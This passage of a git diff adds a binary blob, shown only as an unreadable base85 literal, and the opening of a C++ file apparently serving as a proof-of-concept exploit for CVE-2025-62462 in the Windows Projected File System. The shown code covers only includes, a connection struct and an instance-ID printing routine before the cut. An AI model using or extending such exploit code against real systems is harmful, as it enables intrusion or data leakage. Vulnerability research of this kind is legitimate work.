zlWf5p*l9T|YzUK)le;o3xPuS^U)BEQg{cWAA@Bn5weH=!v-Q}ZGY1gYkV{#}25w9i zOScOF6b@`^Y6=N%Uh2^FA>ZOxdL8T_;QD5Un>S6l#CIaGZs9VF<~DYp-fn;v7!sm6 zMR%s6M%z|$;^NK-#_(^e<^`LQ)nK}$*fe7!0>EAb0>rU(#+Oj{T<0gc;%Fi(!mRkC z(g!|ONALiUf*Rh5_JcW9a7W;5+1c68SB~L(bvima7L#mjddjxLMn7Qco3-xUbr;_B zw(=fJmqQL-w|4^qIp>H>&?qpfr8^U=0I?asb|APY0f*pbv!;t|Rc}>U0QClhWFSpl zlVf)@Q?;d^ndKvUN5?DJIV5%*yB*+~uCA`Q9vV|qQ(z;XkM8vjx~Qxi_VMOYyQWX@ z^}s+3w=I1R_4`ojR)z*)bsv6~VTyFJN7K6IXH&2i*tx5&y2s5VS<$j`{w z{Z0q&jYP0Fnvyk$!>YD`7ce|&t*{|vRH{jz8}d8rC%deu0FX#hPHAG-<6d~2coew) zbU6>$c#KHbW9@cA)jYepXx-WJUiCT=5^-Fb7Jo{grm zf)y3b&h8_r<;C+n#O` z?4YTr2sZ6<9|yAHNbpmzOOZPb$^&VEafO=G=^b;;DOz%skYtazHaTfC`pRspmWa2W z0&wd_5{GsbHoZ`zq>)*A2)M?qQ&)Gv{h?E=TgX)JpH0-wIB zu-M0sH_FP&GPALjf^d>uGdKKLXn9W|OG@r_D5I~OtS6I_S)Oqx8z=(x^Cc@tq#kPhDJt|W}74=CB2%o0FCAiw6DG|F9AWraaX=$nPl`F-!wo~67O9DRvJIg~1 z0Xr^$ON19H&z!E!;q6X+Shoz`{iCCFL1u4qa&{7K239$pV_v|z`%HbZJ|p=Yl)2s) zP-K{9uw3-=Quo#sbAXb7RRX4r-fem(C-R!svYzjF0agTf4plX^E-QZSd@*nvHy{iR z4X2ge#(^z^E+1TE+hSEF=|%HRP~19xhACe-WL^VKgpk^L`Myki+!P|c=U8G=Qt%@9 zCqri0;a*6{ClHByp+;{Ncb&~P8gb8Rb{Ws}5@Wcwxaj=4!ve(CB18H6(5K0V3()vp5J;k;aF$-eT)il4^V+`LglbLsS_sfCvgqiy1}!4N;Sr_g^a zDekf|ra!Gw;4TcmIp|TmK$-TD$pu#kJ7>qyDFx>MqH_AQXGN*1_-SUQ66%Q-h#-Ka zr2iPVX=>|yH<7~rCS zfB?v*ii+BdaGme+I^j0Wi&6m(8-xx-zz1q`QUNr>$<2NJ{rmTEbhoPdist9}fny(W z$eHEAMC5Php&;77gU}dVQsM15JXBukfUJzRXG&7S|J=bX`0Qc$>E;JFGdT^2{GdNvLF|M#twVcj{1RUeag*l1tg8kfrf_`;% zb?F5rv0+1VXXy#`kPV?~a%!6=khtHXG zwCT|2&!=Q%x8r1ssYtqk?SXlvo*>cW6$cU)6bRw|q!hUC!Wd>^Y2~%;0O{-~YHKxC zu@&GN;KxjnqiceE+0(3smST_9%Y4&RSO-6UF7hE~vbouiEcFsC@=DuhFLmn$1O@fLiLvo5sNSgs1mb+c#T-@&A{|#(p#)1K zgR*+Hky+iQ-xnKhPg0SID_D)T9oJs1IKD67z%C!{mBpD8c>aa{u!7=lha8QiXH$3Y z?izJXE_c+YX1SA?2u=?aDk2~t_*B~^PBJB0bcHf$`gOk^|wW+6T642Aef7Z*W z$`uy4!|vR<6F0mUid!AH8$130GxsWEY7h6AODtj%4B+6dKz!+qy!ls0mF&3SM@<2DM9b?9lr-> zwm)XxHnc=Z>a~;9D`N^kgfI@Rrn1Y`=C!>bs%UdsOa1yJ)@ zJbdv&wmC#2K6Uznc?v$Zo84^l``tqec278Rkbtwr zUcA^&&1?1+Vx5i|{JSOCh5Z(unjA2EK0E7x13eKkFa-naauyu|Q3Cd+g_Ci%eU-bX zr>74+0GLBTSvkRNQs2~+2#QdE?VIYlU<1c!103<>$&(Xk34p=@f&wehhF$S+$ZuLJ z%!C&fp1hVjN}{N!!yB1Fx1xeUWf)ZLVb#i~0e`1zXl6zNHrQfi`m2DOLgpNQut`kL zp1@Gi(%!5yKI7&lY{p9+%BFS;vddmu?N3@M`5DI(_hbdyq344@u|v38&A z>=R&VNBbsw4>Zm>Rlk3)3l1hs@d04HI^iX%J=I?`-w?AJ(qK-rcQ4fBlUG*W3Lrah z8oR(%LP^t59ScD{S63R~)iN?NUbdR4Y9AStcz+UlKKv%1bsDxt|7s9mM_riojg?_#J z(46Idl(|t{o2I9yCx|c?2i>HPH+kk-YUd}VrtSn$TyStO;u@5qGKpMkuP@bJ{} z&{AEGh9OAO2T1y&`-4^3iQAomTw!_tK+sE@^J&0wAt4Yyop3XdAobb=rF3AeHX>p# zoVV?L=D>-$-c7csy&4)Cz}Od#yUz)lyBz1`#SPmX9DFL`u0?be?Jf8NgkrmC?a5e4 zU-g&#aq^`9H)74NK1hX_A20IHvM{KfT zWNS{su)&$^Po0^30HZuL+upwIp zg7%*+H_bQzU}ST_>T$5e2*nk4;0DUy4Gr7t2WK)e?D84pct6M_y08uLu%JK-sVLFd z*a+!tD9eHe=}}DQqdo+Rwxk)6f!nL;GJ5>X06Hy8h4sYvJ-9U|CSGRF0h|iW9~4R~ zQ>`|adyFG^437N=QyBE+WCKip)9RwRqxnOZO093O@rT(QC z6n8f?G%Wfxyi#F>0zz-!zP&EI-yc9q*d(r$q$v1w`bn5(eKOx#x<=EVL*vbv0)Bit z=6PP;PNJI+6OSrAS9xS$lQ%k467&ozk~8dp4do!fOfPuPC8{JTxz$yK9=xDh+o6$C z?cJaAyJnmLHUh5=2oEta!Erl*p>H7yTPq%-)Qt2Xg@1z<7y&w_B8e9+wRdzZ9_%PClOOBVsKPct%h<0$|)nul+qMj@%|LsL_{K_IiOp6Ypo334QO#1?KXFfL)Gdf~4CP&O`8AUGF(K}iXyr+djTEfvu zI-FD!g$r`HpBbamY2SG=j(ICBQCc4(x>Thsnw31xrPXD)2NSwf?{Iix3pMcXzcK z#gu|r5H@oHc=YCtfLUkmUhv6v%CLnMM{j!lnhHP(RF-AABihXic$dXYBc9{OZw^Ge zkbXl->PQAKdU|f|v;qZe_kQ}6P+VLb01Zm0&{$u80eqVdaDc1)){n-heKg%>6lG*& z^xK=h_?6#brk~#>*tTEX^|rm829g)L=P^CRq`lS6D$dXHtGXelffKn5461njvxEf6 z=G&d~^ZYW56l!7RJMMq4xT9z3KcXLS<`orrTfBCy6+wSc2wPov5;oq*Z@G zT_-SKb09kFS(R6xykgbaDL)Sn!yg4mST9bSjBfR_dGc)rMQX{Q%5D!2=A{a&Q{O#h zc@2&2)!6>R6;_^NTyg9#U}-3mD?$duGlhkPQBB)f8db;^^9$EGu?H{8CC=oAo9{!a zD=I3UR0s(P+MClsnuU5`xA$69zN!%H_w4EE0Y|;9B|ET`)pi-9si1HNlV7PlUK^2V zlHa!&6+!xCRd8p402Txg09A$KCsKlFJvcfY&lB27xS11Ri?T9_OUlX|riS~*iON+k0zn_zn^BO=?<`ECh8{KCJ}BT^ayQ$mw>AWK`iiQP~XncF>4n2s-kZ-$|SPCK{uMG zK__%gVu{XzI1oO;AE7Mo7I2==9@?1F?5EA?4Y}3;9*=kCNx8KGa}H^qAZB1=V*`;i z_!B8I21UiLsRcMDqPcl1z)>Fy1)L@rW=By89m!Cj8}Z@8hlc=334;9wUU)Q>nPbUC zAzqkqrFoi?NryY)xk~Cr;KfW_Hh}YYGqj?7^yswP!N7GAw?sUhVI=qa7}22kc*ZC} z$MeWWI3|FQ0E^Xf)~Jpv##IyLa$<()lQ3EVHGNqZxGU1Damqax)w~93WAGZ!kM`%N zkAX*j#PeztcWp$r_BS_#kq#5%*MudpW8LEkF#UU`&J(QPg1U)B>mQvLPmzgtUT-S{}Ht5 z(D3l-L%U$J{!Sb^gJZ?1NC;G3D5>;2h7oMsAhb9b3j##AtH3o}QoPw{+Nd1Ao9HGy z5O?q1jiXEA%r*zEEaEM>UsTogs`GAXj;GvcbM(C7BCO!4s8(4OZ)dHC?*mN)h+oo;g)<`Gl&IWUIO!^hG?+`f;EU2a~e zOBt{eX2>#O=av=fMzWPNp%=>;SSW~wI5ygG&^(eSEG{l?(`V@D5sXw1YrSiweU)9W z&l&kXU3PDE&oPv(VRE>^nm(Bq>Ux$c0*b}q2kU?rh$B1`6M<>lU?=x*tx_f2;^nE*K-|Haaj0G+Yis(c|l}u0D)nixk z6)41AJU;&osZD~#xuKoH!RKuz59Iq0qf*UVlVHXFTzJ(gCaAEhOJ_8Hr|1j_Bc?c3 ztuY;gxcuVegw8LTvkJ46cDk*oX+@7G~28f-G>1 z@jxB;&#eXMm}$zgPoEe7*Z{u(rV?i6sYq_6=cqO8rK7vmYS!coeo<}6BOxJiZK2>2 z*pBz_--k0Y>+7#8YhD%CIz0r=rk>tG@SCyDJmTi%lP19Xoel2=hZqk`G2N$|;)S7cU0$hOTnG1IPfXz??gG4l*pDa9o!a>-?|~eYgQT3rj<2 z&rGw{)_$_L)idrYPnUR>_zj|YZqAEHU$uIM=bPWQ3HsN}^SG6bTwzr=!76}}21hJP z#Lc--j{PUX*#ATOpU`qBn^yjE%nYRf4Jp{dvHv7B^#@I_CTFwD;fT`r4+Ps%vViOB z?9_zXNfud=|HX%2^@km`4x{@xvEEGFUKR=j@Ac8YZ>4{tSBRUXfTLQB#!da^neAQg{b~K9atfp=qw!XM zqLyBf#^=m$E}T3-VkZef!yjJwrYX6Hkj`*bTtS;Vf>T)d!Ee%Ff6$5ks}cYg7uU&u z-${QgF3QP2FtEt@*kfRXK+szi%C^SOy#1eC|5_)#(~b*t_)dBZ!~e`@lxZ5rWw}B4 z`j{DU4XP}Lv1`CL-Usq zjEjfI^YdrZW4yfG)e$^S<9Tz_n5FKi1+a3MKq))tdZBi}ZBy^s9oFB4tn7p z%{q(=&gz^T`PJq|oWo37dR##q{h2&CiPB=W9xl2sR6vBRtStCDaBD!M1(|WWsZ_IL z9Z5lk`dO&Dwl-f3#yUMc9nYR*cPg^YRv!eQoSEV}dfcnH>+G9o>xoY%M^IU0_+Smr zyxRaLbf}hDWF4d+GU;&=qBD0y>*}j|S<5g6?`BbApdr1I#j?6t5hk)Ht#c^EJrWZE z@{!udvdibtN}_)L7`65K&e6A7UA}tk`0=jxY}>`8V+;S+-j~Niy}n^j`$EaCvLuB{ zwj{|?3Mmm;vy3HV-*-l75zz*Rqi`v^oTmlF2Rpt{z23 znYenALgJu}7C#)?C7V{CR#uLVNY~&w%R5*BQi)9 z4Gm|X#H|N7Yc|pJiWK{GG&%?-iNCL z>Ru+K^%pplHq5nB{Y$%-vo|Z$E9xD!vgh1dg6p@=PII=I-kq-0UYks+av(X$*jZJ zm?C=V{K0mt5}f!bk%I+kH#gDVSyT(ilRkV<1K{$0ax$%MA|pVx2dq9F*3t?KDyhRk ztPFy4T0X`Qdp~YB*uEFm*pSntOZh2WYB_c6(;wx=U%q5ROH4f>L{A3|j0Ub7o;YD5 zkgmguZ1d4mqNOU6Ea7DR7R$X}p0g%e_ua_AuHZX&wlVmdcE=EhTe3gh>5Eq8*0SL|wL%po=C*NI(dq~GX6y-12R z3}Etuw{@cDSP#{+GWtIx8sP{?NF?O;<#d|k&lQN}C}%`9@}l`LwR^R4JSHXk`L4Tv zA4BO&^j>^$mWGy=cFN^!T-<95VRLaPj%p#i6;hQ%M4ogmIsyY{!D@p`el23_ymF!T zi@yKh!7^!SX~>ZRX)QD|zY`P`{p88oGiS~m4DjLU=f6=ByGUjFc>$?1-975`G|n$A zO?YOeTM`R(R@v}9vS0`H3=Gr>PG(vc&b#>d7PRI;*9z!xE~BZrIR`(crJ|;0Fx*xC z(ynv;&2GmK93~KFo8OS_et>fI3P@$t$#QB9&Yjr_etCmcJT3s-b*qz6LjnxL6U$v2 zHxEs;3AVMS_4s0YdbqF4aKLhEa($9Tz2L~m$miErD5lQKfQyemR37AIS3sfzDWScO zquP3^V$OE?^X23nXz_q|n%L~j@RRuXqpGU(GP1G)`}f}kYsQBfq|hUHR{Qz+#hw8; z=h34_dO}-LjWm;uH$ca=`DqfK&dfJEYDBLalANNJtX&7yHL8-N=`%78&J3cx3cBP@b8ryLw!&50r_7M6vE4h>ecXyX6AU%% zIXO8$zxNc1%)n6^ZG8iDB+<5ZClgO>Yhv5BF~P*{*tTukwrx%{@x*o}wkP@fzIWGp z_ul`WTB}!eb${R9Rr{RoI;S@Fd4J_;=D*mMO4b*>xEt0e?EQ5mP41jw9T8LiM*E^K zthU;&i`Rdccflfo-F21fs$NukQK+5g*Y)7Q1Sw(tCSdILy@-$|kBc~Az4M%f7#b(L z;7-JsJq}}voE@L6gs}TAR>pB+*3`&23GxPFadB2)g?YXf$ctUlb^}dQSbhc-$^i3q#&w}jx^MC!M?G=WzFPg5{%v9SV2w=$jkCtM}N-zY6in z-jMQWRVMc-n^!fX!W=2}6s{m)&IXB~l>wWHc263LZ9jqXJ5lsVyh1&$T5<5-XAsK@(kIx$gWDJ1FmEEm$W0u~0qAH=BBYUU-iX|Oy3(TN3)1XeZ;Mqy zOrb(Tn`2+~pSF~Djfp1%R%qymStY3KH|enVpoMz2_C%dn`*{txAItf9KU^0}zRj{& z*1OXd>-#mz5UFhUh0Sio8jPy_BKf5L}@?Rg3b z`Mw!cbMba=Qxe$@jSKkr4vCwnMqmVmsOewW%_*Y^H&RgO%>3RPJ(al87v0W**AH`P zg@>X7ziDm07Y>tcM}LEY$%68sU6=51VPX8@-vuuG9Rn;MjK%r+g;7;i$a8vrCwPL(s6(KQ~g_q%J+V zg4~-%xoVi>Ifyh|vts<}^JBsKV70H_b)A3cWLlFWSu7LNH+NH|9Gk~AZ!|rWup+b# z7+i6(-sQ!>Qg*R6)Qut$UVF<_XkP_2v&b5UA$Qif?!@GFa&c{M19aR7?=oXPstp$5 zdwQkUZWSupKRLOW?I~lPx-GBx!%)5eK@8Wfnt@s8cTXcR;1LsjIaWlRg0LsL1xSOF z+9fP5E|&{q+uSVrs4bB-HOTs@Miys{P0Sl3=olZQig)fdBYw1@POD9q!!L^gU z^xW=IK3evL4GGW1=U9{%GZ+VL{LfT*hAW4;{X$^oR+rZdVf2~(kM>~Amqg(PK=+r>VhcH&EGW>_AA^bpaRm+|lAaf|rmgq|t zu^mzb`2$+(5oJGylyGEIDsDiHJ4sht?e}7VRRx_!YkNDFuksw1qQX0d#3rBlT~-D) zTv?q^D#hMP+4s563uxU$@BM=%)Y@_p`=mh%#ex8U1}Q6R(+meGpz&1-6>5&O94GB` z1tTm=_?95EbXpFMwfU#J{kngf_wnT>5GKCo+20K|%XXF{p;dUc9-B}sPxP zZf+bJp$Q|dvfX(TBS<)Zp^}aXd70lKGK*}#M*Y;}A1rPZ zlGA*2U(T`8_rlL+EUe9mr{j6KneT%jag+sn?Hafq`Y`r~{iw)v(@nbO;)XDUKay3J zMx-6ocJ^~=W|!c3tq++{Y3dS(s76$p1}^^=VY4P&faT!ai0ju_g~A)ZaIV` z63UL9y@}>8a3TxC8b$2){lS4VN|0AJ6Mpqo^`(-0wl8Rs(}$+Z@RHoCkrHw*S6;N; zvm*C?>ncIp3WTH~ah!iX1MB&-2@rFL^eyj1a7dA(w)ln_u};?33Z^DCqDQ`~)GjI7 zL5$Y8%pP)_W<>xJf`Z*kvZTV39*;#M9jSwd=6;*ome)aRx)8$$@UjaE>U%PZFa135 zBaPJ3=wG(Tp=orMwBi>*D!N$}R`uuNEpax}(=^4;+k$FCvcD|K&_Coo&Ejo1T_0)>|FacI=J>gjU`h0`y+#D4VkzpwX>)?Gi zgZMU8a4Z~0=n#kvUen1y5TLG$jUe-MQ+EXktu4o@bx@lKaS+k6CJR|}W%3YiQzlP5 zM34tH>65pvC_=%;hwplN_8LVI)W4H`f52@05b`VxOFytuJY zBRJ~#f-BKm1$1nf(>{R3{~K>N&tmsq{odcPJ*4tN8Ad&cn7WFYH;rM1>3wh+D_o1u zC=%xA+=q&ohi2!O{*i%*OD??Vscm3%k7%D*U`ow#!x1J3go&hq-ba)Hnh}pgPN6_e z`2;r^M#ff8`|J>msSxcavplTwWw)~uIy#Takt&5O*`sIs6`qU|&cG%_*dm~HNI^-$ zGTjL#x_s6sW1Vn*sbyj6x6;xw71=a=>$UY$;P?0Q6TkHWIm7IX_UBnHk0!NO^=oQI zMoFEMQx;bhx?tM}V5FrDo6cLGitCJanbmROup2pRMP+3o#2Q{S6mLOc8v4{^#|?%2 z?km#yCmHf*#i9qwL=nI5uSHsjK=hT0U2ct`5{Y!&`qKM($yh>Nuo@C!Be3`i0WKgw zUz(O$SUvV^s6kk?2q_mU%Uc|b2^lc~Y zcdH)^pGT=VoI$qJ=8d<_V{O$3-_;24X%1PdJ)Gghz#F>>TD3e#f_{h{NH2VgLlb1P z75wwTqe{Q*7qc-D5&*;-#KZuJxAqJRPzyag@vg8yH;m_ z!av`WfVdUK@yAdVUJZ8 z6nbO2deK$OBsb-?jZAInlNCwvHK#+g20Ob!E{7qq% zd0t!a>8U@gW(+MmeLP8JrLESRJTM>T_2OzPjxY7*9CXg_IC%;q@y8W(nw=Y)nqt<- zf7Io_6EB8TlnQ<$x{`!KJx@Uz2lViT9fJv`q_k9oML)E)Z{7OtV?*3D?*IXT z8=gtd{xbS7UL{wp)59Q^V+HxRrmEe~VBM5%-e4=kkzo_L3nc*>S%;Xhb1Z+rsl_Vj zGO+TLm?7_;91_>i$nb@@lJaCahX945PcvYlp#uiO`2}(tSKqnr`WV$bo}-o=i~FLw zq5~&z8&R83Z4ug`tDtURxlTR2du@%^m|J13wiX&isXO~u2xQhuYt1ZY_v$;21(_w? z3VgmIvf6I-S$Sk95B^>A^a!t-b}E-ZRk;#itRjCA3Ql_LmdU)QXzK*6yb2npBTqm% z5W?@+9jiZ`RmG)amX^|G2?EhN;v3%7Kxwe$9}L68pCpGrJ%iaU)MvltA8S`nx?3!9O*)flwcVW9iC!v zHl$1aPX4od!(77kQxXDPhD-!3kp!J^fxpx zwcWbj;ZzpBfK_T{d81G!j|Ly5)!ImhpFP3v0yA-{B>L?7UgY;N%SH$g94syzlFRd~ z1;kxQ-J& z1R4fAi$tpV&s@9SSTuMK1(a(>1k0wak$GGxBNm;+V3$P>e}0RN>vq>0t7A*QG9S;M z)Pg{xt-5UESSu%`Yu`|`X~AULXmLJ%A-0r&z-&Y$yr-w8?oiOC$;(JtJSEOtGygm+ z0%-UEDh0JEfyY#VA@_Qqv~pF?65E^Q$=kIN1JqF?VUab@piH(~kzLVnwOD@{D)J1q z5_A+Zw%WmnIRPceVHX!kqu3Y0t=XtOez+8Sam7woSOJta=3KH6k2#?;s7|ojv0dky zDb!`9{E~H$b>~{gZDmyx&!KNyqtK_F?#F(Q(?=P&bq!{#L5@TNr`{9w`d^UeCTbm6 zDJB+YpK&)lcJ5F^+*DExAXepiw@SY(O@%C#@79Dsf$tW^QZ|yU;7;Y?_RseU75xrO zsD&DZ?=cE0@$l1F5W9fC0xkZmWHRczzrMZ-Ov+z>A6Bh-VALX1ajB`9A|_{7>)Sbn zLRl_w8i|DDZ$CP(sbZuL8li}X^Pv?-HScEx&Q)KLZ$T9?%Ubfs37w^rAJ6d912Jp1 zIChdFnzS`}KC+(j8|UdxdkQ=iWg=xhk7~5zJUyi6|6-y%<|~fSuid5&)t)dpZ);vG zI>hIqzlj^3A2Tn(37Yrep5k2Qk2BI1LC_{ThI0O0`c94+n_pFBK1ZX3<5|)AXl=5% zTuMjv0n-v0+BG5U>mv;EY-*A0_XT(gGaw_x6A5jj&6*-%s-gFkf{&^bqM}D{MKN$P z_;+xHBmCO4r5W3yktiM&Kg%9pyxQ(_Baw3zZIJ^o)or&MVv>*k{CT9}s4y|_SQm1w z-XgXMD4$yTd$;0+<8hvYOI-B#?Z=2JKdjV8$!)a0?@`(j=YEyE?$M<#$~v3i1=a_mgeW>Evc4nke@^D+oYd@@9m zhn@J)T+#)?aqR(w-7yQ!RSbj@ClrJ$;**#}1U=cqUk-M5xWWaibGawRxVk3iRu*eh z%E#e#LGzffu{%RiU0z1#8S3A)(ocVY70?Y5=Hkj-<9`tl@6b#p)b|NtA?v69E}U+7 zemoyNhhFhJJ(j)QcIH zkE0NU>FVSU_b12PPm@x?wE8fBZ5Ic!I)I4`tFT}NPtQg-Uw~_M_(jtG8cYL`a4l(R zkJ%eeL0sfe(S8B9aHLK|9a>Z7q>_KiWKF<`Wz){?y4M& z3Y-dr*)$Jb5yreh89S zuT(}_Hp=%|DO29lw!U(j6%X$L-Aln9XV8o9o1D>X*_$cek1G`8(h4b$>te_nkC(K3 zjEAYr;KKSZOY599i+9(v(|ZZ=S*I|na?~vg(ar!t=-U>GDt29$GE=>R!4=t%m~>&N z0i1RQUS7PlZV@1{rI?;*B{!59Iu^4!VEv9hczqk>S5-o?FWYq{=^%cm6lW%B$M9+c z`FIf&t0gQ9F9^Q&63T#LM;q{WcCFHGbrFv_>y?>R#rXtL@S7j^qT+CxRz|s%pa3W8(?-_O7AXpV-Y}?CR#8-T<+5k#Zd6Ti54|AEHqSidT0fA)ijaupePGPj8;RejY)hd2N_BjWBQ8AHu$kzZnTr(p%cYk z53WGlje-)=z5aeF5;am7xddn|gLZJNUQiJ{|@JGM4X# z6IS>%`^N|MwHghB&X3i-JI{m^6U(L*Hek@1ca58)Bo->(J$(WaUvAfh8?)Eb_GOAC z1CjQwTjj54+BF1IG=6KuH=M4@ZLj4;g!2W6g?qKODw`>=7~I&62IUM`gEOO(-Ob`g zdlXfR94>WCg6|{aT?UQ?8Q*aCA>4GO?%)@a0+w+#= zx)$x!!wZ7PCZ5z7Q;FHlG5b-1y65sNfWVg^J3AjhH(fzcjCedXWfiW#D9Fb(_MH32 zG|$D)hd6@r+`Gt8M{eyz=~SZ`=Zf zwn$d{Wq+@sUA(VKbmz0nSZ~sezBbdboFd+};atTDhGwcZs(!ILqkwDjkc)pQxj zYr|LEltsd!5V`!f02k>3x$!oz1#}vXqPEdd9sxtU;hQgW681o@M?e2U$PX1-48`1H z_fn`7-Fd;bK03V9_{5@mJ!I;6QG{BzZT;uLpSjmyqo?HWHqdgXA!nBHBAp zSZm<7Mw>Fu=}byKe4DGE09K7(RW5VK zqyvt!3km?4IJM!r&fDE}aB?!18gXQYVs%|>!e*qC(``fUyPd!drXuTA%pn~;#7mrw zFhPFH)DgKX9}fqW6^U<-4t;cmi;r%p=>Bv=ICV(F5ewz8v$46@odv}Re*xWJa#fNk z9=sD*7W1if9h1u&&-)ziHF6G@Fs12H6*9qT2FNpdy?!}Zi;!L3p3a4=XOXJBZ0`PA zl9}i7LBJ;ujvm#ko21wwBKdnQd$+ z*P=7WG;{FF|En(~83{aP!hujxGMv%?@T?J{64K*S(9k)BU8^=n^-Y?Ns=*ZvS zpAr@pqxPqEH{zsinJ=oF-LD@)fi1L8m0zE`I%$jITTVkMps*2ENY*KfI_gjY4D{*U z&ch?6M~=^Lj;g_G_k1WYc&{-$K-s;bNkS?3!zti^K%j?dMIC)`fe$O$z)Y$=ly+;Z z;=1b(v1*cLUPa$|dNeYG4%O{JsHj8u21)kUnY!J{u)UG%^+c+f9d7U2huhAgZd7Nj z)O1IzIwWWS6qzRJwEhrm*O$y{lYu3gpGH-cRcV5?nrRwo4<_>F7L>^a6fsRh!V_}? zm^GX(=9wzDx4hSNHS4+TD09ekKLW(=%U+3$o6@dznh-R7G0D<*oG7XuD~MvhZqOfGK$0#lj3x9Bd4c_Q&W4Re&tE{lM#%YLU&b!#1Sx} z{#`v5vyGo67BwIp?4XEpqgv1vsg1)7jomdT^Wk~MOujW`>q7Bat`OaE_IdC}xRn&Y zyje11cn)UzrUK!cLQ<~gi0{+7Yx1)|2@d6S_J;la6Te;6!^z_hZCAFus!>ry=e;r` zT$((!OQUam@aUk2MODky()4OxzK@qV?-vSVwe2e_DfZ#7J*!^od&5Cuv-I<0q9Qm_ zm8xna9~*e0=hKj=TJRE>Jl@oIYoA8QsnJ?F-Dy&g(L{HpVNRGhs84EG7DwYWe&Qvp ziAaauo6;r5Oll_Pq^xcqyyMsP=8g>_RV7hLRvXRh@yUWyo^DIUnad??7)i~LE`97y zIGye72P#4|)Su^%^3n8%r^uv^cQ7a}7aBQB@SjT45bs?R;cw2(`I9O*ZB}tJO1i?3Lm3Q*Zx{mT%Y&Mk%Ni-X;~EhNVuH_M1a84^A{UTC|o*2!Gz2C}-X*ZNv;tg#G# zAA-)X0CLNA*v$^;#lrY8jL4!k1(M!o?;MQ;!yd|*VW#n%yTVh;d*QU0Ca<7GOB)AB zm?tDu+p_~yX%N=5l@4aOvQsxX%KZD0ws?7NR%VBjS<$CG3e#mwTAcC!8c6j{mwdK5 zJWV2v$=9)H%tqne#Ljbkl>N$mX^o#89?ED#EH*4p(D!h-Iq{qCdmq`G(uLp9w#OWC z^0Z#9FSezZ&c@1r%=Eh==`zH^wVeD-ep2l}oqk6^7$G>$`gf|RuCU~mG4iL`$Z$2_ zcuXP~Cjf?y`!S4rr@9octm7&gBld3!u4VVyo#g>g>M8Cyspw`jPR^)05~11dBhs&b zK+J;U?O_rN`LoU)CAXPio8;jQ8j1X@{o^p`lWgC!qpgkeUEgk0P|C!(^GDb;j4Ls&`qtOCtJfcAMMSZGZnO-_p_t@%LU`6r9wq90ACXm}{L+dT94myhO z#dGIuM2HA&%uY0WX+ClWW3vlAW|uQ~{Zg>Jo8{$+W=`5mS^tGz_eCE%f2_p0zzyj= zR#9Qk*ki`p>|LeYgZY&7CtN-8v}kaLd%u;dXUxu3dHW~IoU0ygVSrtd;dBDtCxy)S zkJWS`gHPW-pP*3VJjujQ`4`9pGym0ArO8iyejdf}ui+-`Apf=0++KmJKy?W4^E*Ln z!NR7MpuWRutK!T}a_cacK)nV*J{<>#n`7a$)3G7HF!aCTOUFtKlS#9yp+`y1x0PsW$~Px8EvIvIfgBIITg4*($CWbM9$qXgma8NW=Bhu8u{d z#bzC;hb`+Inv|03O~vB5iOJ9)Dv~JwE@&(fsZL7MAaEjBN#q^%db{J1HpCWMr#3wg zDCd!l`m)RZ&``Qq#&=ewj78mI=sl{V!mTyLhBFPUwTfiKc^{B;6j8;hJQQ$r_fmHk?n# znCGGgE7T>0fS_Tpw@?p)`MQ(b)a;z!V~>8AlGP=O4BT;sWX z__{&jm}b5iB9tr)P{-B?0-yxzvYi|X3V9py?K*|WA4ZIeB~$SdU-=`gsbiAZky_Z; zhIh?`Z&#qy`$YpUs#8;KKErzA18P)WC=ebx*)8P$u9QWFi~a^lF8u7 zx{t;TFX^m|6WjVc4W2I6Y=hMshFMf7TvA{vp*M0?cnpH6%sHy9JnUbM_`Mvo-)#-t z7bTU%TyVVw0yGU!#^H;y{8^qB-19Y0hSl#uM!-(BpX1Q-kVMFv$f?3jZhI;2d$GWB zpM|0_vI58r%y*g7-GF0gM0_R)=JP$nV9!E^6(!u3!eh_bNs6!{Q)w+fkl^ziH%4c$Bqzu<6jXD`kVt!m4a`~x*2nAd{QLTyQMUf)A=N}xtE5PR5+ zztF3OQ;MywAwdz*VDywu6C-+g9HQX)f>baQpn^`?!fQd-}b$*69sL9G3Pc!$FAS{y}q$RGhGdJ*SfGih(7+klCop z&!bG)`8*a*v4l)+$~PG|HaJ(a+)CIUw=4Gh_46~u;_5yFW#gs!E2c@IVmNv0#k*zfEr z58LZvyG^2$SA3A1g)gM)%4WpNt;y4uIQrAWx0rFe2o5(lL99b5_P*+BYAF#RCFQN^ z;yB}f>Q>3Osn9j_>tGR}IjvU!cwyGTc2@Z@!ON=hsuTCv{iwYZ3AI&C+4fr|9E{odiMF8CFLvxjhUtMRt>!wuHwY<5!G)S+y^|6h~+3(yT%;^Eu`oKvhe1Aniz1 zcsGMv;8_s{zoWBXcNMlD&+|frp;_~U}ZX3RH0h zote#ZB%6A<*}s2NbkC)T*X%G-zT7H@oRAlbwb{t$0ut0mf4iaFsA)7F+K>xYyg0n> z6Yp&GBMX(q;OZwV%Ty!iP@aIwzUde*BU|_o6sAdroM6y4cOlNFy?=wA|H{JjuE676 zRwlK@FM4P94_jC(x-`jx0RTTC03cg{fujTd&lVAX**Tgp z+Pc^n0Ua%D&HiDU|HQY5=y5870|4eQ007Fr;rBtT|ATh|Iy-~VPX7&_Z=CJY2Kr*# z|0mu7r0oB|O+np5)zHWq_}}mrImJ~4UjP7l3;+P>-^81P82?wivxhbCzY0$TPYv%x z2kCAK_8+=S!2J_!VrLBU*R*y1Z?eHM%Z?#Hy4Qo`wy*!j6hjOE{4dFW1(IkL2GfB~be#YI09}E9X>KI{RKeLCXai*Y zpI7Gpb{79SQ2(9ci1MElHb4^#Lq-c5Lo*;VgT1ZUf2#kl{p%ki`v02S`F|bXO0tk3 Tr2zmq&=vyfJYO#V@$UZtl}G~s literal 0 HcmV?d00001 diff --git a/CVE-2025-62462/PrjLeank22.cpp b/CVE-2025-62462/PrjLeank22.cpp new file mode 100644 index 0000000..63f1706 --- /dev/null +++ b/CVE-2025-62462/PrjLeank22.cpp @@ -0,0 +1,561 @@ + + +#include +#include +#include +#include +#pragma comment(lib, "projectedfslib.lib") +#pragma comment(lib, "FltLib.lib") + +#include "ntdll.h" +#pragma comment(lib, "ntdll") + +PWSTR gProcessPath = NULL; +PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT gInstanceHandle; + +DWORD CompleteCommandHandler(int CommandId); + +struct __declspec(align(4)) _PRJ_CONNECTION_CONTEXT +{ + GUID virtualizationInstanceID; + unsigned int Version; + USHORT VolumeLength; + WCHAR szVolume[256]; +}; + + +void PrintInstanceId() { + PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo; + HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo); + if (FAILED(hr)) + { + wprintf(L"Failed to create instance ID (0x%08x)\n", hr); + return; + } + + OLECHAR* guidString; + 